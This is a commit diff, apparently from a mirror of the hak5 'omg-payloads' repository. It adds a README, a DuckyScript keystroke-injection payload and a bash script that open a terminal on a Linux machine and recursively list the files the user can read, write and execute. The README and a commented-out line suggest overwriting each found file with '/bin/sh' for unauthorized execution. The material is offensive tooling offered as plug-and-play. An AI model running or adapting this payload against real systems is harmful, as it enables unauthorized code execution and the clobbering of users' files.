mirror of https://github.com/hak5/omg-payloads.git
commit
ab70f205f5
|
@ -0,0 +1,32 @@
|
|||
# Exploiting An Executable File - Linux ✅
|
||||
|
||||
Plug-And-Play ❤️
|
||||
|
||||
A script used to detect all executable files in a Linux system. An executable file can be used in cybersecurity to execute some script without having the necessary permissions to make it executable.
|
||||
|
||||
**Category**: Execution
|
||||
|
||||
## Description
|
||||
|
||||
A script used to detect all executable files in a Linux system. An executable file can be used in cybersecurity to execute some script without having the necessary permissions to make it executable.
|
||||
|
||||
**Remember that any execution that is not permitted is not legitimate**.
|
||||
|
||||
## Getting Started
|
||||
|
||||
### Dependencies
|
||||
|
||||
* Linux system
|
||||
|
||||
### Executing program
|
||||
|
||||
* Plug in your device
|
||||
|
||||
### Settings
|
||||
|
||||
* You can edit the content that you want to put into the executable file.
|
||||
|
||||
```Shell
|
||||
# You can put whatever you want into the executable file
|
||||
echo "/bin/sh" > "$file"
|
||||
```
|
|
@ -0,0 +1,39 @@
|
|||
REM ################################################
|
||||
REM # |
|
||||
REM # Title : Exploiting An Executable File |
|
||||
REM # Author : Aleff |
|
||||
REM # Version : 1.0 |
|
||||
REM # Category : Execution |
|
||||
REM # Target : Linux |
|
||||
REM # |
|
||||
REM ################################################
|
||||
|
||||
REM Requirements:
|
||||
REM - Nothing, it is Plug-And-Play but you can change it as you want.
|
||||
|
||||
DELAY 1000
|
||||
CTRL-ALT t
|
||||
DELAY 2000
|
||||
|
||||
|
||||
REM #### Script ####
|
||||
|
||||
|
||||
STRINGLN_BLOCK
|
||||
function search_file {
|
||||
for file in "$1"/*; do
|
||||
if [[ -d "$file" ]]; then
|
||||
search_file "$file";
|
||||
elif [[ -f "$file" && -r "$file" && -w "$file" && -x "$file" ]]; then
|
||||
echo "File Found: $file";
|
||||
# You can put whatever you want into the executable file
|
||||
# echo "/bin/sh" > "$file"
|
||||
fi
|
||||
done
|
||||
}
|
||||
USER=$(whoami);
|
||||
# You can choose whatever folder you want, the script is recursive.
|
||||
DIR=/home/$USER/Documents;
|
||||
search_file "$DIR";
|
||||
END_STRINGLN
|
||||
ENTER
|
|
@ -0,0 +1,19 @@
|
|||
#!/bin/bash
|
||||
|
||||
function search_file {
|
||||
for file in "$1"/*; do
|
||||
if [[ -d "$file" ]]; then
|
||||
search_file "$file"
|
||||
elif [[ -f "$file" && -r "$file" && -w "$file" && -x "$file" ]]; then
|
||||
echo "File Found: $file"
|
||||
# You can put whatever you want into the executable file
|
||||
# echo "/bin/sh" > "$file"
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
USER=$(whoami)
|
||||
|
||||
# You can choose whatever folder you want, the script is recursive.
|
||||
DIR=/home/$USER/Documents
|
||||
search_file "$DIR"
|
Loading…
Reference in New Issue